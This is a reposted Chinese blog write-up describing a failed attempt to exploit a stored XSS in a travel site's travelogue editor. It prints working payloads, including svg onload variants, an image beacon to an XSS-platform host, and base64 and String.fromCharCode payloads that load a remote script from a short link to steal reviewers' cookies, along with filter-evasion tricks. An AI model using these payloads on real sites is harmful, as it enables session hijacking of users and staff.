记一次失败的xss利用
Posted 火种安全
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了记一次失败的xss利用相关的知识,希望对你有一定的参考价值。
文章来源:先知社区
一个xss
我在主站测试过后,把目标放到了它的其他业务上,比如这个社区功能。社区功能可以发表游记,和主流的旅游网站一样(比如携程、去哪儿),游记是个值得测试的功能点,毕竟它有那么多输入输出,很可能存在xss(因为我之前就在这个网站上挖到过xss,所以感觉它的xss防护并不是很好)。
编辑页面如上,我首先正常走了一边流程,然后开始一个输入一个输入的测试。首先是标题,输入最简单的xss弹窗payload
<script>alert(1)</script>
,然后点击预览,提示我有脚本代码
然后我换成svg的payload<svg/onload=alert(1)>
,点击预览,成功弹窗。
现在,我应该发现了一个xss,而且还是存储型的。
转折
我随便填了点游记内容,提交发现需要审核,那么我们的弹窗代码肯定会吓到审核的,铁定过不了,那么我需要把payload换成盗取cookie的payload,但是<script>
被过滤,我们需要换其他的关键词,我测试了这个Github项目上的xsspayload,结果很多payload的关键词都被列入了黑名单
<imgsrc=1onerror=***>
eval
script
我又尝试了这个payload
<svg/onload="(new Image()).src='//xsspt.com/3hBMQd'">
这个payload会访问我的xss平台项目,但是img标签的src属性并不会去加载脚本,所以也没什么用,我只能去请求一个图片探针,记录referer、IP、浏览器等信息。
同样的,项目里的<embed src=//14.rs>
也不能得到cookie,想要利用这个标签执行脚本需要加上属性值alwaysscript
,但是script又被过滤,所以这个payload也没用。难道我的xss就只能自娱自乐的self-xss了?
柳暗花明?
谷歌一番之后,我又找到了这个非常nice的payload
<objectdata="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>
这个payload没有常见的关键字,非常nice,只要不编码尖括号和引号,这个payload应该很好用,在使用的时候要注意base64编码的正确性,我一开始使用的编码网站有问题,导致编码结果出错,payload执行也出错。把它改成我的xss平台项目链接之后,预览一下,完美!
网站对你发送了一条消息:呵呵
标题过长?行,我去内容里写,但是提交审核之后,回头去内容,发现内容被篡改了
可以看到,text/html
中间的斜杠没有了,而且在源码里,空格也被实体编码了,导致整个payload都失效了。
然后,我又尝试了类似的payload
<svgonload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>
依旧空格被实体编码,于是我把空格换成了反斜杠/
<svg/onload=document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,116,46,99,110,47,82,71,117,87,68,68,83,62,60,47,115,99,114,105,112,116,62))>
结果,居然提示我有非法字符
xss利用失败了呐,今天又是失败的一天呢。
2个xss payload集合:
xss其他标签下的js用法总结大全:
http://www.91ri.org/16155.html
s0md3v/AwesomXSS:
https://github.com/s0md3v/AwesomeXSS
转自先知社区,侵删
以上是关于记一次失败的xss利用的主要内容,如果未能解决你的问题,请参考以下文章